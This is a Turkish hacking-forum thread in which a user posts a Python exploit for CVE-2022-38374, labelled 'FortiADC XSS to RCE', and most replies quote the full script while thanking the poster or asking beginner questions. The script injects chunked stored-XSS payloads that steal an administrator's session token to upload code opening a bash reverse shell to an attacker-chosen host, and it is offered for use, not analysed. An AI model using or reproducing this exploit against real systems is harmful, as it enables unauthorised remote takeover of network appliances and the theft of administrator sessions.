CVE-2022-38374 Exploit hediye

MuhammedTr768

Kıdemli Üye
7 Kas 2021
2,932
1,815
31
MyKrallife
logo.png

Selamlar bugün sizlere CVE-2022-38374 exploitini vereceğim

hakkında

veeee exploit;​
Python:
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
    data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

    script_url = '/ui/#navigate/Config/system/aws_scripting'
    payload='''var xhr = new XMLHttpRequest();
    xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
    xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
    xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
    xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

    payload=encode_all(payload)

    chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
    
    # We need to store chunks in a variable reading each row and then decode and eval it
    payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
    for i in chunks:
            payload.append("%s" % i)
    return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
    if (count>=13) and (temp>=0):
        data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
        temp-=1
        time.sleep(0.1)
    else:
        data = "GET %s?%s\r\n\r\n" % (i,count)
        time.sleep(0.1)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.thost, int(args.tport)))
    s.send(str.encode(data))
    s.close()
    count+=1

beni dinlediğiniz için teşekkürler...
 

Muslukcu

Katılımcı Üye
17 Kas 2021
699
262
Tesisat dükkanı
logo.png

Selamlar bugün sizlere CVE-2022-38374 exploitini vereceğim

hakkında

veeee exploit;​
Python:
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
    data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

    script_url = '/ui/#navigate/Config/system/aws_scripting'
    payload='''var xhr = new XMLHttpRequest();
    xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
    xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
    xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
    xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

    payload=encode_all(payload)

    chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
   
    # We need to store chunks in a variable reading each row and then decode and eval it
    payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
    for i in chunks:
            payload.append("%s" % i)
    return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
    if (count>=13) and (temp>=0):
        data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
        temp-=1
        time.sleep(0.1)
    else:
        data = "GET %s?%s\r\n\r\n" % (i,count)
        time.sleep(0.1)
   
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.thost, int(args.tport)))
    s.send(str.encode(data))
    s.close()
    count+=1

beni dinlediğiniz için teşekkürler...
Elinize sağlık
 

Lightandqrk

Katılımcı Üye
15 Tem 2022
464
176
logo.png

Selamlar bugün sizlere CVE-2022-38374 exploitini vereceğim

hakkında

veeee exploit;​
Python:
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
    data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

    script_url = '/ui/#navigate/Config/system/aws_scripting'
    payload='''var xhr = new XMLHttpRequest();
    xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
    xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
    xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
    xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

    payload=encode_all(payload)

    chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
   
    # We need to store chunks in a variable reading each row and then decode and eval it
    payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
    for i in chunks:
            payload.append("%s" % i)
    return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
    if (count>=13) and (temp>=0):
        data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
        temp-=1
        time.sleep(0.1)
    else:
        data = "GET %s?%s\r\n\r\n" % (i,count)
        time.sleep(0.1)
   
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.thost, int(args.tport)))
    s.send(str.encode(data))
    s.close()
    count+=1

beni dinlediğiniz için teşekkürler...
bu ne işe yarıyor acaba
 

Yeni Kullanıcıyım Ben

Katılımcı Üye
11 Ara 2022
795
301
Matrix
logo.png

Selamlar bugün sizlere CVE-2022-38374 exploitini vereceğim

hakkında

veeee exploit;​
Python:
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
    data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

    script_url = '/ui/#navigate/Config/system/aws_scripting'
    payload='''var xhr = new XMLHttpRequest();
    xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
    xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
    xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
    xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

    payload=encode_all(payload)

    chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
   
    # We need to store chunks in a variable reading each row and then decode and eval it
    payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
    for i in chunks:
            payload.append("%s" % i)
    return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
    if (count>=13) and (temp>=0):
        data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
        temp-=1
        time.sleep(0.1)
    else:
        data = "GET %s?%s\r\n\r\n" % (i,count)
        time.sleep(0.1)
   
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.thost, int(args.tport)))
    s.send(str.encode(data))
    s.close()
    count+=1

beni dinlediğiniz için teşekkürler...
Güzel bir exploit elinize sağlık. Ancak 2 sorum olacak.
1-Bu exploiti hangi dilde yazdınız? Assembly mi? C ailesinden birinden mi yazdınız?
2-Bu exploit ne işe yarıyor, hangi zafiyetlerde kullanılabilir? Örn: ftp protokolünümü istismar ediyor, telnet açığındanmı faydalanıyor vs vs
 

TurkGokay

Uzman üye
4 Ara 2022
1,020
544
Kemalizm
logo.png

Selamlar bugün sizlere CVE-2022-38374 exploitini vereceğim

hakkında

veeee exploit;​
Python:
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
    data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

    script_url = '/ui/#navigate/Config/system/aws_scripting'
    payload='''var xhr = new XMLHttpRequest();
    xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
    xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
    xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
    xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

    payload=encode_all(payload)

    chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
   
    # We need to store chunks in a variable reading each row and then decode and eval it
    payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
    for i in chunks:
            payload.append("%s" % i)
    return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
    if (count>=13) and (temp>=0):
        data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
        temp-=1
        time.sleep(0.1)
    else:
        data = "GET %s?%s\r\n\r\n" % (i,count)
        time.sleep(0.1)
   
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.thost, int(args.tport)))
    s.send(str.encode(data))
    s.close()
    count+=1

beni dinlediğiniz için teşekkürler...
teşekkürler
 

Blwe

Uzman üye
17 Şub 2021
1,585
1,645
Green/Moderasyon
Güzel bir exploit elinize sağlık. Ancak 2 sorum olacak.
1-Bu exploiti hangi dilde yazdınız? Assembly mi? C ailesinden birinden mi yazdınız?
2-Bu exploit ne işe yarıyor, hangi zafiyetlerde kullanılabilir? Örn: ftp protokolünümü istismar ediyor, telnet açığındanmı faydalanıyor vs vs
Exploit, python3 dili ile yazılmış.
Exploit'in ne işe yaradığını öğrenmek için, konuda'ki "hakkında" yazan url linkine tıklayabilirsiniz. Veya exploit ismini aratabilirsiniz.
 

Yeni Kullanıcıyım Ben

Katılımcı Üye
11 Ara 2022
795
301
Matrix
logo.png

Selamlar bugün sizlere CVE-2022-38374 exploitini vereceğim

hakkında

veeee exploit;​
Python:
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
    data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

    script_url = '/ui/#navigate/Config/system/aws_scripting'
    payload='''var xhr = new XMLHttpRequest();
    xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
    xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
    xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
    xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

    payload=encode_all(payload)

    chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
   
    # We need to store chunks in a variable reading each row and then decode and eval it
    payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
    for i in chunks:
            payload.append("%s" % i)
    return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
    if (count>=13) and (temp>=0):
        data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
        temp-=1
        time.sleep(0.1)
    else:
        data = "GET %s?%s\r\n\r\n" % (i,count)
        time.sleep(0.1)
   
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.thost, int(args.tport)))
    s.send(str.encode(data))
    s.close()
    count+=1

beni dinlediğiniz için teşekkürler...
Kodları inceledim.Biraz basit ama elverişli duruyor.Harika
Amaa yine çok soru soruyorum ama thost nedir?
Yine hiçbirşey bulamadım.
 

Çokgen

Katılımcı Üye
4 Eyl 2023
412
196
logo.png

Selamlar bugün sizlere CVE-2022-38374 exploitini vereceğim

hakkında

veeee exploit;​
Python:
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
    data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

    script_url = '/ui/#navigate/Config/system/aws_scripting'
    payload='''var xhr = new XMLHttpRequest();
    xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
    xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
    xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
    xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

    payload=encode_all(payload)

    chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
   
    # We need to store chunks in a variable reading each row and then decode and eval it
    payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
    for i in chunks:
            payload.append("%s" % i)
    return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
    if (count>=13) and (temp>=0):
        data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
        temp-=1
        time.sleep(0.1)
    else:
        data = "GET %s?%s\r\n\r\n" % (i,count)
        time.sleep(0.1)
   
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.thost, int(args.tport)))
    s.send(str.encode(data))
    s.close()
    count+=1

beni dinlediğiniz için teşekkürler...
Ellerinize sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.